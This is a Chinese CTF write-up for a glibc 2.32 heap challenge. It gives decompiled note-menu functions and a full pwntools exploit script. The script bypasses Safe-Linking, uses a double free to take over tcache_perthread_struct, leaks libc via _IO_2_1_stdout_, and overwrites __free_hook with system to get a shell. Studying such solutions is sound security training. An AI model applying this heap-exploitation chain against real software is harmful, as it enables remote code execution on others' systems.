比赛时看错libc了,整了半天活。
checksec:
add:
__int64 add()
{
__int64 result; // rax
unsigned int i; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]
void *size_4; // [rsp+10h] [rbp-10h]
puts("Size:");
size = myRead();
if ( size > 0x7E )
size = 127;
size_4 = malloc(size);
for ( i = 0; i <= 0xF; ++i )
{
if ( !noteList[i] )
{
noteList[i] = size_4;
idx = i;
break;
}
}
result = noteList[idx];
if ( result )
{
puts("Content:");
read(0, size_4, size);
result = 0LL;
}
return result;
}
edit:
ssize_t edit()
{
puts("Content:");
return read(0, (void *)noteList[idx], 0x10uLL);
}
delete:
void del()
{
free((void *)noteList[idx]);
}
show:
ssize_t show()
{
return write(1, (const void *)noteList[idx], 8uLL);
}
官方解题思路:
题目libc是2.32版本,新增Safe-Linking检测机制 ( 参考:https://bbs.pediy.com/thread-261985.htm)
个人觉得这道题的难点并不是Safe—Linking的绕过,而是如何正确的构造堆块
exp:
#!/usr/bin/python #coding:utf-8 from pwn import * from LibcSearcher import * context(arch='amd64',log_level='debug') a=process("/root/ff") #a=remote("node3.buuoj.cn",28135) #a=gdb.debug("/root/book") #a=process(["ld-2.32.so","./ff"],env={"LD_PRELOAD":"libc.so.6"}) elf=ELF("/root/ff") libc=ELF("libc-2.29.so") #one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x5faa5,0x5faa6,0x3ac6c,0x3ac6d] def add(size,data): a.sendlineafter('>>','1') a.sendlineafter('Size:',str(size)) a.sendafter('Content:',str(data)) def dele(): a.sendlineafter('>>','2') def show(): a.sendlineafter('>>','3') def edit(data): a.sendlineafter('>>','5') a.sendafter('Content:',str(data)) add(0x60,'a'*4) dele() show() key=u64(a.recv(6).ljust(8,'\x00')) print hex(key) heap_base=key*0x1000 edit('b'*9) dele() edit(p64(key^(heap_base+0x10))) add(0x60,'c'*4) add(0x60,'\x00'*0x4e+'\x07') dele() add(0x40,'\x00'*6+'\x01'+'\x00'*5+'\x01'+'\x00'*8) # p1 add(0x30,'a') add(0x10,'\x00'*8+'\xc0\x56') add(0x40,p64(0xfbad1800)+'\x00'*0x18+'\x00') libc_base=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1e4744 print hex(libc_base) free_hook=libc_base+0x1e6e40 sys_addr=libc_base+0x503c0 add(0x30,p64(free_hook)) add(0x70,p64(sys_addr)) add(0x30,"/bin/sh\x00") dele() #gdb.attach(a) a.interactive()
题目对edit和show有限制。只能show 1次,edit 2次。
在获取到key之后,目标地址heap_base+0x10和key异或一下就能绕过Safe-Linking。利用double free将堆块申请到heap_base+0x10的位置也就是tcache_perthread_struct。将0x290对应的counts改为7。这样一来,执行free就能把tcache_perthread_struct放入unsortedbin
而exp中p1处的操作是为了创建0x50和0x80大小的堆块。
执行后的结果如下图
接下来创建一个size为0x40的chunk。查看tcache情况,可以看到a8处的是0x50的指针。
再创建size为0x20的chunk,这样只需要修改后四位再申请0x50的chunk就能分配至_IO_2_1_stdout_(需要爆破)
后面add(0x70,p64(sys_addr))修改free_hook的原理也是一样。0xa8+0x8*3=0xc0